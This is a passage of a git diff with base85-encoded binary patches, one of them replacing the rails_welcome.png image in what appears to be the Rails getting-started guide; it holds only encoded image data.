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 diff --git a/public/images/getting_started/rails_welcome.png b/public/images/getting_started/rails_welcome.png index 3e07c948a0a4714a53a7890e47ddc2f8451ffdc1..4d0cb417b7da5d8523358a45abd97778f97456a3 100644 GIT binary patch literal 142320 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 